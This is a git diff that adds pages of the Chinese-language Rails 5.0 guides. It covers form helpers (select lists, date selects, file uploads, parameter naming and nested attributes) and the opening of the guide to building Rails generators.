使用 select_tag 辅助方法只是第一步,仅靠它我们还无法动态生成 option 标签。接下来,我们可以使用 options_for_select 辅助方法生成 option 标签:

+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+
+

输出:

+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+
+
+
+

options_for_select 辅助方法的第一个参数是嵌套数组,其中每个子数组都有两个元素:选项文本(城市名称)和选项值(城市 ID)。选项值会提交给控制器。选项值通常是对应的数据库对象的 ID,但并不一定是这样。

掌握了上述知识,我们就可以联合使用 select_tagoptions_for_select 辅助方法来动态生成选择列表了:

+
+<%= select_tag(:city_id, options_for_select(...)) %>
+
+
+
+

options_for_select 辅助方法允许我们传递第二个参数来设置默认选项:

+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+
+
+

输出:

+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+
+
+
+

当 Rails 发现生成的选项值和第二个参数指定的值一样时,就会为这个选项添加 selected 属性。

options_for_select 辅助方法的第二个参数必须和选项值完全一样。例如,如果选项值是整数 2,就必须指定整数 2,而不是字符串 "2"。需要注意的是,从 params 散列中提取的值都是字符串。

如果 select 标签的 required 属性的值为 truesize 属性的值为 1,multiple 属性未设置为 true,并且未设置 :include_blank:prompt 选项时,:include_blank 选项的值会被强制设置为 true

我们可以通过散列为选项添加任意属性:

+
+<%= options_for_select(
+  [
+    ['Lisbon', 1, { 'data-size' => '2.8 million' }],
+    ['Madrid', 2, { 'data-size' => '3.2 million' }]
+  ], 2
+) %>
+
+
+
+

输出:

+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+
+
+
+

3.2 用于处理模型的选择列表

在大多数情况下,表单控件会绑定到特定的数据库模型,和我们期望的一样,Rails 为此提供了辅助方法。与其他表单辅助方法一致,在处理模型时,需要从 select_tag 中删除 _tag 后缀:

+
+# controller:
+@person = Person.new(city_id: 2)
+
+
+
+
+
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+
+

需要注意的是,select 辅助方法的第三个参数,即选项数组,和传递给 options_for_select 辅助方法作为参数的选项数组是一样的。如果用户已经设置了默认城市,Rails 会从 @person.city_id 属性中读取这一设置,一切都是自动的,十分方便。

和其他辅助方法一样,如果要在绑定到 @person 对象的表单生成器上使用 select 辅助方法,相关句法如下:

+
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+
+
+
+

我们还可以把块传递给 select 辅助方法:

+
+<%= f.select(:city_id) do %>
+  <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+    <%= content_tag(:option, c.first, value: c.last) %>
+  <% end %>
+<% end %>
+
+
+
+

如果我们使用 select 辅助方法(或类似的辅助方法,如 collection_selectselect_tag)来设置 belongs_to 关联,就必须传入外键的名称(在上面的例子中是 city_id),而不是关联的名称。在上面的例子中,如果传入的是 city 而不是 city_id,在把 params 传递给 Person.newupdate 方法时,Active Record 会抛出 ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) 错误。换一个角度看,这说明表单辅助方法只能修改模型属性。我们还应该注意到允许用户直接修改外键的潜在安全后果。

3.3 从任意对象组成的集合创建 option 标签

使用 options_for_select 辅助方法生成 option 标签需要创建包含各个选项的文本和值的数组。但如果我们已经拥有 City 模型(可能是 Active Record 模型),并且想要从这些对象的集合生成 option 标签,那么应该怎么做呢?一个解决方案是创建并遍历嵌套数组:

+
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+
+
+
+

这是一个完全有效的解决方案,但 Rails 提供了一个更简洁的替代方案:options_from_collection_for_select 辅助方法。这个辅助方法接受一个任意对象组成的集合作为参数,以及两个附加参数,分别用于读取选项值和选项文本的方法的名称:

+
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+
+
+
+

顾名思义,options_from_collection_for_select 辅助方法只生成 option 标签。和 options_for_select 辅助方法一样,要想生成可用的选择列表,我们需要联合使用 options_from_collection_for_selectselect_tag 辅助方法。在处理模型对象时,select 辅助方法联合使用了 select_tagoptions_for_select 辅助方法,同样,collection_select 辅助方法联合使用了 select_tagoptions_from_collection_for_select 辅助方法。

+
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+
+
+
+

和其他辅助方法一样,如果要在绑定到 @person 对象的表单生成器上使用 collection_select 辅助方法,相关句法如下:

+
+<%= f.collection_select(:city_id, City.all, :id, :name) %>
+
+
+
+

总结一下,options_from_collection_for_select 对于 collection_select 辅助方法,就如同 options_for_select 对于 select 辅助方法。

传递给 options_for_select 辅助方法作为参数的嵌套数组,子数组的第一个元素是选项文本,第二个元素是选项值,然而传递给 options_from_collection_for_select 辅助方法作为参数的嵌套数组,子数组的第一个元素是读取选项值的方法的名称,第二个元素是读取选项文本的方法的名称。

3.4 时区和国家选择列表

要想利用 Rails 提供的时区相关功能,首先需要设置用户所在的时区。为此,我们可以使用 collection_select 辅助方法从预定义时区对象生成选择列表,我们也可以使用更简单的 time_zone_select 辅助方法:

+
+<%= time_zone_select(:person, :time_zone) %>
+
+
+
+

Rails 还提供了 time_zone_options_for_select 辅助方法用于手动生成定制的时区选择列表。关于 time_zone_selecttime_zone_options_for_select 辅助方法的更多介绍,请参阅 API 文档。

Rails 的早期版本提供了用于生成国家选择列表的 country_select 辅助方法,现在这一功能被放入独立的 country_select 插件。需要注意的是,在使用这个插件生成国家选择列表时,一些特定地区是否应该被当作国家还存在争议,这也是 Rails 不再内置这一功能的原因。

4 使用日期和时间的表单辅助方法

我们可以选择不使用生成 HTML5 日期和时间输入字段的表单辅助方法,而使用替代的日期和时间辅助方法。这些日期和时间辅助方法与所有其他表单辅助方法主要有两点不同:

+
    +
  • 日期和时间不是在单个 input 元素中输入,而是每个时间单位(年、月、日等)都有各自的 input 元素。因此在 params 散列中没有表示日期和时间的单个值。

  • +
  • 其他表单辅助方法使用 _tag 后缀区分独立的辅助方法和处理模型对象的辅助方法。对于日期和时间辅助方法,select_dateselect_timeselect_datetime 是独立的辅助方法,date_selecttime_selectdatetime_select 是对应的处理模型对象的辅助方法。

  • +
+

这两类辅助方法都会为每个时间单位(年、月、日等)生成各自的选择列表。

4.1 独立的辅助方法

select_* 这类辅助方法的第一个参数是 DateTimeDateTime 类的实例,用于指明选中的日期时间。如果省略这个参数,选中当前的日期时间。例如:

+
+<%= select_date Date.today, prefix: :start_date %>
+
+
+
+

上面的代码会生成下面的 HTML(为了行文简洁,省略了实际选项值):

+
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+
+
+
+

上面的代码会使 params[:start_date] 成为拥有 :year:month:day 键的散列。要想得到实际的 DateTimeDateTime 对象,我们需要提取 params[:start_date] 中的信息并传递给适当的构造方法,例如:

+
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+
+
+
+

:prefix 选项用于说明从 params 散列中取回时间信息的键名。这个选项的默认值是 date,在上面的例子中被设置为 start_date

4.2 处理模型对象的辅助方法

在更新或创建 Active Record 对象的表单中,select_date 辅助方法不能很好地工作,因为 Active Record 期望 params 散列的每个元素都对应一个模型属性。处理模型对象的日期和时间辅助方法使用特殊名称提交参数,Active Record 一看到这些参数就知道必须把这些参数和其他参数一起传递给对应字段类型的构造方法。例如:

+
+<%= date_select :person, :birth_date %>
+
+
+
+

上面的代码会生成下面的 HTML(为了行文简洁,省略了实际选项值):

+
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+
+
+
+

上面的代码会生成下面的 params 散列:

+
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+
+
+
+

当把这个 params 散列传递给 Person.newupdate 方法时,Active Record 会发现应该把这些参数都用于构造 birth_date 属性,并且会使用附加信息来确定把这些参数传递给构造方法(如 Date.civil 方法)的顺序。

4.3 通用选项

这两类辅助方法使用一组相同的核心函数来生成选择列表,因此使用的选项也大体相同。特别是默认情况下,Rails 生成的年份选项会包含当前年份的前后 5 年。如果这个范围不能满足使用需求,可以使用 :start_year:end_year 选项覆盖这一默认设置。关于这两类辅助方法的可用选项的更多介绍,请参阅 API 文档

根据经验,在处理模型对象时应该使用 date_select 辅助方法,在其他情况下应该使用 select_date 辅助方法。例如在根据日期过滤搜索结果时就应该使用 select_date 辅助方法。

在许多情况下,内置的日期选择器显得笨手笨脚,不能帮助用户正确计算出日期和星期几之间的关系。

4.4 独立组件

偶尔我们需要显示单个日期组件,例如年份或月份。为此,Rails 提供了一系列辅助方法,每个时间单位对应一个辅助方法,即 select_yearselect_monthselect_dayselect_hourselect_minuteselect_second 辅助方法。这些辅助方法的用法非常简单。默认情况下,它们会生成以时间单位命名的输入字段(例如,select_year 辅助方法生成名为“year”的输入字段,select_month 辅助方法生成名为“month”的输入字段),我们可以使用 :field_name 选项指定输入字段的名称。:prefix 选项的用法和在 select_dateselect_time 辅助方法中一样,默认值也一样。

这些辅助方法的第一个参数可以是 DateTimeDateTime 类的实例(会从实例中取出对应的值)或数值,用于指明选中的日期时间。例如:

+
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+
+
+
+

如果当前年份是 2009 年,上面的代码会成生相同的 HTML。用户选择的年份可以通过 params[:date][:year] 取回。

5 上传文件

上传某种类型的文件是常见任务,例如上传某人的照片或包含待处理数据的 CSV 文件。在上传文件时特别需要注意的是,表单的编码必须设置为 multipart/form-data。使用 form_for 辅助方法时会自动完成这一设置。如果使用 form_tag 辅助方法,就必须手动完成这一设置,具体操作可以参考下面的例子。

下面这两个表单都用于上传文件。

+
+<%= form_tag({action: :upload}, multipart: true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+
+
+
+

Rails 同样为上传文件提供了一对辅助方法:独立的辅助方法 file_field_tag 和处理模型的辅助方法 file_field。这两个辅助方法和其他辅助方法的唯一区别是,我们无法为文件上传控件设置默认值,因为这样做没有意义。和我们期望的一样,在上述例子的第一个表单中上传的文件通过 params[:picture] 取回,在第二个表单中通过 params[:person][:picture] 取回。

5.1 上传的内容

在上传文件时,params 散列中保存的文件对象实际上是 IO 类的子类的实例。根据上传文件大小的不同,这个实例有可能是 StringIO 类的实例,也可能是临时文件的 File 类的实例。在这两种情况下,文件对象具有 original_filename 属性,其值为上传的文件在用户计算机上的文件名,也具有 content_type 属性,其值为上传的文件的 MIME 类型。下面这段代码把上传的文件保存在 #{Rails.root}/public/uploads 文件夹中,文件名不变(假设使用上一节例子中的表单来上传文件)。

+
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+
+
+
+

一旦文件上传完毕,就可以执行很多后续操作,例如把文件储存到磁盘、Amazon S3 等位置并和模型关联起来,缩放图片并生成缩略图等。这些复杂的操作已经超出本文的范畴,不过有一些 Ruby 库可以帮助我们完成这些操作,其中两个众所周知的是 CarrierWavePaperclip

如果用户没有选择要上传的文件,对应参数会是空字符串。

5.2 处理 Ajax

和其他表单不同,异步上传文件的表单可不是为 form_for 辅助方法设置 remote: true 选项这么简单。在这个 Ajax 表单中,上传文件的序列化是通过浏览器端的 JavaScript 完成的,而 JavaScript 无法读取硬盘上的文件,因此文件无法上传。最常见的解决方案是使用不可见的 iframe 作为表单提交的目标。

6 定制表单生成器

前面说过,form_forfields_for 辅助方法产出的对象是 FormBuilder 类或其子类的实例,即表单生成器。表单生成器为单个对象封装了显示表单所需的功能。我们可以用常规的方式使用表单辅助方法,也可以继承 FormBuilder 类并添加其他辅助方法。例如:

+
+<%= form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+
+
+
+

可以写成:

+
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+
+
+
+

在使用前需要定义 LabellingFormBuilder 类:

+
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+
+
+
+

如果经常这样使用,我们可以定义 labeled_form_for 辅助方法,自动应用 builder: LabellingFormBuilder 选项。

+
+def labeled_form_for(record, options = {}, &block)
+  options.merge! builder: LabellingFormBuilder
+  form_for record, options, &block
+end
+
+
+
+

表单生成器还会确定进行下面的渲染时应该执行的操作:

+
+<%= render partial: f %>
+
+
+
+

如果表单生成器 fFormBuilder 类的实例,那么上面的代码会渲染局部视图 form,并把传入局部视图的对象设置为表单生成器。如果表单生成器 fLabellingFormBuilder 类的实例,那么上面的代码会渲染局部视图 labelling_form

7 理解参数命名约定

从前面几节我们可以看到,表单提交的数据可以保存在 params 散列或嵌套的子散列中。例如,在 Person 模型的标准 create 动作中,params[:person] 通常是储存了创建 Person 实例所需的所有属性的散列。params 散列也可以包含数组、散列构成的数组等等。

从根本上说,HTML 表单并不理解任何类型的结构化数据,表单提交的数据都是普通字符串组成的键值对。我们在应用中看到的数组和散列都是 Rails 根据参数命名约定生成的。

7.1 基本结构

数组和散列是两种基本数据结构。散列句法用于访问 params 中的值。例如,如果表单包含:

+
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+
+
+
+

params 散列会包含:

+
+{'person' => {'name' => 'Henry'}}
+
+
+
+

在控制器中可以使用 params[:person][:name] 取回表单提交的值。

散列可以根据需要嵌套,不限制层级,例如:

+
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+
+
+
+

params 散列会包含:

+
+{'person' => {'address' => {'city' => 'New York'}}}
+
+
+
+

通常 Rails 会忽略重复的参数名。如果参数名包含一组空的方括号 [],Rails 就会用这些参数的值生成一个数组。例如,要想让用户输入多个电话号码,我们可以在表单中添加:

+
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+
+
+
+

得到的 params[:person][:phone_number] 是包含用户输入的电话号码的数组。

7.2 联合使用

我们可以联合使用数组和散列。散列的元素可以是前面例子中那样的数组,也可以是散列构成的数组。例如,通过重复使用下面的表单控件我们可以添加任意长度的多行地址:

+
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+
+
+
+

得到的 params[:addresses] 是散列构成的数组,散列的键包括 line1line2city。如果 Rails 发现输入控件的名称已经存在于当前散列的键中,就会新建一个散列。

不过还有一个限制,尽管散列可以任意嵌套,但数组只能有一层。数组通常可以用散列替换。例如,模型对象的数组可以用以模型对象 ID 、数组索引或其他参数为键的散列替换。

数组参数在 check_box 辅助方法中不能很好地工作。根据 HTML 规范,未选中的复选框不提交任何值。然而,未选中的复选框也提交值往往会更容易处理。为此,check_box 辅助方法通过创建辅助的同名隐藏 input 元素来模拟这一行为。如果复选框未选中,只有隐藏的 input 元素的值会被提交;如果复选框被选中,复选框本身的值和隐藏的 input 元素的值都会被提交,但复选框本身的值优先级更高。在处理数组参数时,这样的重复提交会把 Rails 搞糊涂,因为 Rails 无法确定什么时候创建新的数组元素。这种情况下,我们可以使用 check_box_tag 辅助方法,或者用散列代替数组。

7.3 使用表单辅助方法

在前面两节中我们没有使用 Rails 表单辅助方法。尽管我们可以手动为 input 元素命名,然后直接把它们传递给 text_field_tag 这类辅助方法,但 Rails 支持更高级的功能。我们可以使用 form_forfields_for 辅助方法的 name 参数以及 :index 选项。

假设我们想要渲染一个表单,用于修改某人地址的各个字段。例如:

+
+<%= form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% @person.addresses.each do |address| %>
+    <%= person_form.fields_for address, index: address.id do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+
+
+
+

如果某人有两个地址,ID 分别为 23 和 45,那么上面的代码会生成下面的 HTML:

+
+<form accept-charset="UTF-8" action="http://github.com/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+
+
+
+

得到的 params 散列会包含:

+
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+
+
+
+

Rails 之所以知道这些输入控件的值是 person 散列的一部分,是因为我们在第一个表单生成器上调用了 fields_for 辅助方法。指定 :index 选项是为了告诉 Rails,不要把输入控件命名为 person[address][city],而要在 addresscity 之间插入索引(放在 [] 中)。这样要想确定需要修改的 Address 记录就变得很容易,因此往往也很有用。:index 选项的值还可以是其他重要数字、字符串甚至 nil(使用 nil 时会创建数组参数)。

要想创建更复杂的嵌套,我们可以显式指定输入控件名称的 name 参数(在上面的例子中是 person[address]):

+
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+
+
+
+

一般来说,输入控件的最终名称是 fields_forform_for 辅助方法的 name 参数,加上 :index 选项的值,再加上属性名。我们也可以直接把 :index 选项传递给 text_field 这样的辅助方法作为参数,但在表单生成器中指定这个选项比在输入控件中分别指定这个选项要更为简洁。

还有一种简易写法,可以在 name 参数后加上 [] 并省略 :index 选项。这种简易写法和指定 index: address 选项的效果是一样的:

+
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+
+
+
+

上面的代码生成的 HTML 和前一个例子完全相同。

8 处理外部资源的表单

Rails 表单辅助方法也可用于创建向外部资源提交数据的表单。不过,有时我们需要为这些外部资源设置 authenticity_token,具体操作是为 form_tag 辅助方法设置 authenticity_token: 'your_external_token' 选项:

+
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
+  Form contents
+<% end %>
+
+
+
+

在向外部资源(例如支付网关)提交数据时,有时表单中可用的字段会受到外部 API 的限制,并且不需要生成 authenticity_token。通过设置 authenticity_token: false 选项即可禁用 authenticity_token

+
+<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
+  Form contents
+<% end %>
+
+
+
+

相同的技术也可用于 form_for 辅助方法:

+
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+  Form contents
+<% end %>
+
+
+
+

或者,如果想要禁用 authenticity_token

+
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+  Form contents
+<% end %>
+
+
+
+

9 创建复杂表单

许多应用可不只是在表单中修改单个对象这样简单。例如,在创建 Person 模型的实例时,我们可能还想让用户在同一个表单中创建多条地址记录(如家庭地址、单位地址等)。之后在修改 Person 模型的实例时,用户应该能够根据需要添加、删除或修改地址。

9.1 配置模型

为此,Active Record 通过 accepts_nested_attributes_for 方法在模型层面提供支持:

+
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses
+end
+
+class Address < ApplicationRecord
+  belongs_to :person
+end
+
+
+
+

上面的代码会在 Person 模型上创建 addresses_attributes= 方法,用于创建、更新或删除地址。

9.2 嵌套表单

通过下面的表单我们可以创建 Person 模型的实例及其关联的地址:

+
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+
+        <%= addresses_form.label :street %>
+        <%= addresses_form.text_field :street %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+
+
+
+

如果关联支持嵌套属性,fields_for 方法会为关联中的每个元素执行块。如果 Person 模型的实例没有关联地址,就不会显示地址字段。一般的做法是构建一个或多个空的子属性,这样至少会显示一组字段。下面的例子会在新建 Person 模型实例的表单中显示两组地址字段。

+
+def new
+  @person = Person.new
+  2.times { @person.addresses.build}
+end
+
+
+
+

fields_for 辅助方法会产出表单生成器,而 accepts_nested_attributes_for 方法需要参数名。例如,当创建具有两个地址的 Person 模型的实例时,表单提交的参数如下:

+
+{
+  'person' => {
+    'name' => 'John Doe',
+    'addresses_attributes' => {
+      '0' => {
+        'kind' => 'Home',
+        'street' => '221b Baker Street'
+      },
+      '1' => {
+        'kind' => 'Office',
+        'street' => '31 Spooner Street'
+      }
+    }
+  }
+}
+
+
+
+

:addresses_attributes 散列的键是什么并不重要,只要每个地址的键互不相同即可。

如果关联对象在数据库中已存在,fields_for 方法会使用这个对象的 ID 自动生成隐藏输入字段。通过设置 include_id: false 选项可以禁止自动生成隐藏输入字段。如果自动生成的隐藏输入字段位置不对,导致 HTML 无效,或者 ORM 中子对象不存在 ID,那么我们就应该禁止自动生成隐藏输入字段。

9.3 控制器

照例,我们需要在控制器中把参数列入白名单,然后再把参数传递给模型:

+
+def create
+  @person = Person.new(person_params)
+  # ...
+end
+
+private
+  def person_params
+    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+  end
+
+
+
+

9.4 删除对象

通过为 accepts_nested_attributes_for 方法设置 allow_destroy: true 选项,用户就可以删除关联对象。

+
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+
+
+
+

如果对象属性散列包含 _destroy 键并且值为 1,这个对象就会被删除。下面的表单允许用户删除地址:

+
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.check_box :_destroy %>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+
+
+
+

别忘了在控制器中更新参数白名单,添加 _destroy 字段。

+
+def person_params
+  params.require(:person).
+    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+
+
+
+

9.5 防止创建空记录

通常我们需要忽略用户没有填写的字段。要实现这个功能,我们可以为 accepts_nested_attributes_for 方法设置 :reject_if 选项,这个选项的值是一个 Proc 对象。在表单提交每个属性散列时都会调用这个 Proc 对象。当 Proc 对象的返回值为 true 时,[1]Active Record 不会为这个属性 Hash 创建关联对象。在下面的例子中,当设置了 kind 属性时,Active Record 才会创建地址:

+
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+
+
+
+

方便起见,我们可以把 :reject_if 选项的值设为 :all_blank,此时创建的 Proc 对象会拒绝为除 _destroy 之外的其他属性都为空的属性散列创建关联对象。

9.6 按需添加字段

有时,与其提前显示多组字段,倒不如等用户点击“添加新地址”按钮后再添加。Rails 没有内置这种功能。在生成这些字段时,我们必须保证关联数组的键是唯一的,这种情况下通常会使用 JavaScript 的当前时间(从 1970 年 1 月 1 日午夜开始经过的毫秒数)。

[1] 原文为 false,但根据上下文应为 true。——译者注

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/generators.html b/v5.0/generators.html new file mode 100644 index 0000000..d29496c --- /dev/null +++ b/v5.0/generators.html @@ -0,0 +1,848 @@ + + + + + + + +创建及定制 Rails 生成器和模板 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

创建及定制 Rails 生成器和模板

如果你打算改进自己的工作流程,Rails 生成器是必备工具。本文教你创建及定制生成器的方式。

读完本文后,您将学到:

+
    +
  • 如何查看应用中有哪些生成器可用;

  • +
  • 如何使用模板创建生成器;

  • +
  • 在调用生成器之前,Rails 如何搜索生成器;

  • +
  • Rails 内部如何使用模板生成 Rails 代码;

  • +
  • 如何通过创建新生成器定制脚手架;

  • +
  • 如何通过修改生成器模板定制脚手架;

  • +
  • 如何使用后备机制防范覆盖大量生成器;

  • +
  • 如何创建应用模板。

  • +
+ + + + +
+
+ +
+
+
+

1 第一次接触

使用 rails 命令创建应用时,使用的其实就是一个 Rails 生成器。创建应用之后,可以使用 rails generator 命令列出全部可用的生成器:

+
+$ rails new myapp
+$ cd myapp
+$ bin/rails generate
+
+
+
+

你会看到 Rails 自带的全部生成器。如果想查看生成器的详细描述,比如说 helper 生成器,可以这么做:

+
+$ bin/rails generate helper --help
+
+
+
+

2 创建首个生成器

自 Rails 3.0 起,生成器使用 Thor 构建。Thor 提供了强大的解析选项和处理文件的丰富 API。举个例子。我们来构建一个生成器,在 config/initializers 目录中创建一个名为 initializer.rb 的初始化脚本。

第一步是创建 lib/generators/initializer_generator.rb 文件,写入下述内容:

+
+class InitializerGenerator < Rails::Generators::Base
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# 这里是初始化文件的内容"
+  end
+end
+
+
+
+

create_fileThor::Actions 提供的一个方法。create_file 即其他 Thor 方法的文档参见 Thor 的文档

这个生成器相当简单:继承自 Rails::Generators::Base,定义了一个方法。调用生成器时,生成器中的公开方法按照定义的顺序依次执行。最后,我们调用 create_file 方法在指定的位置创建一个文件,写入指定的内容。如果你熟悉 Rails Application Templates API,对这个生成器 API 就不会感到陌生。

若想调用这个生成器,只需这么做:

+
+$ bin/rails generate initializer
+
+
+
+

在继续之前,先看一下这个生成器的描述:

+
+$ bin/rails generate initializer --help
+
+
+
+

如果把生成器放在命名空间里(如 ActiveRecord::Generators::ModelGenerator),Rails 通常能生成好的描述,但这里没有。这一问题有两个解决方法。第一个是,在生成器中调用 desc

+
+class InitializerGenerator < Rails::Generators::Base
+  desc "This generator creates an initializer file at config/initializers"
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+
+
+
+

现在,调用生成器时指定 --help 选项便能看到刚添加的描述。添加描述的第二个方法是,在生成器所在的目录中创建一个名为 USAGE 的文件。下一节将这么做。

3 使用生成器创建生成器

生成器本身也有一个生成器:

+
+$ bin/rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+
+
+
+

下述代码是这个生成器生成的:

+
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+end
+
+
+
+

首先注意,我们继承的是 Rails::Generators::NamedBase,而不是 Rails::Generators::Base。这表明,我们的生成器至少需要一个参数,即初始化脚本的名称,在代码中通过 name 变量获取。

查看这个生成器的描述可以证实这一点(别忘了删除旧的生成器文件):

+
+$ bin/rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+
+
+
+

还能看到,这个生成器有个名为 source_root 的类方法。这个方法指向生成器模板(如果有的话)所在的位置,默认是生成的 lib/generators/initializer/templates 目录。

为了弄清生成器模板的作用,下面创建 lib/generators/initializer/templates/initializer.rb 文件,写入下述内容:

+
+# Add initialization content here
+
+
+
+

然后修改生成器,调用时复制这个模板:

+
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("../templates", __FILE__)
+
+  def copy_initializer_file
+    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+  end
+end
+
+
+
+

下面执行这个生成器:

+
+$ bin/rails generate initializer core_extensions
+
+
+
+

可以看到,这个命令生成了 config/initializers/core_extensions.rb 文件,里面的内容与模板中一样。这表明,copy_file 方法的作用是把源根目录中的文件复制到指定的目标路径。file_name 方法是继承自 Rails::Generators::NamedBase 之后自动创建的。

生成器中可用的方法在本章最后一节说明。

4 查找生成器

执行 rails generate initializer core_extensions 命令时,Rails 按照下述顺序引入文件,直到找到所需的生成器为止:

+
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+
+
+
+

如果最后找不到,显示一个错误消息。

上述示例把文件放在应用的 lib 目录中,因为这个目录在 $LOAD_PATH 中。

5 定制工作流程

Rails 自带的生成器十分灵活,可以定制脚手架。生成器在 config/application.rb 文件中配置,下面是一些默认值:

+
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: true
+end
+
+
+
+

在定制工作流程之前,先看看脚手架是什么:

+
+$ bin/rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20130924151154_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/models/user_test.rb
+      create      test/fixtures/users.yml
+      invoke  resource_route
+       route    resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/controllers/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke    jbuilder
+      create      app/views/users/index.json.jbuilder
+      create      app/views/users/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
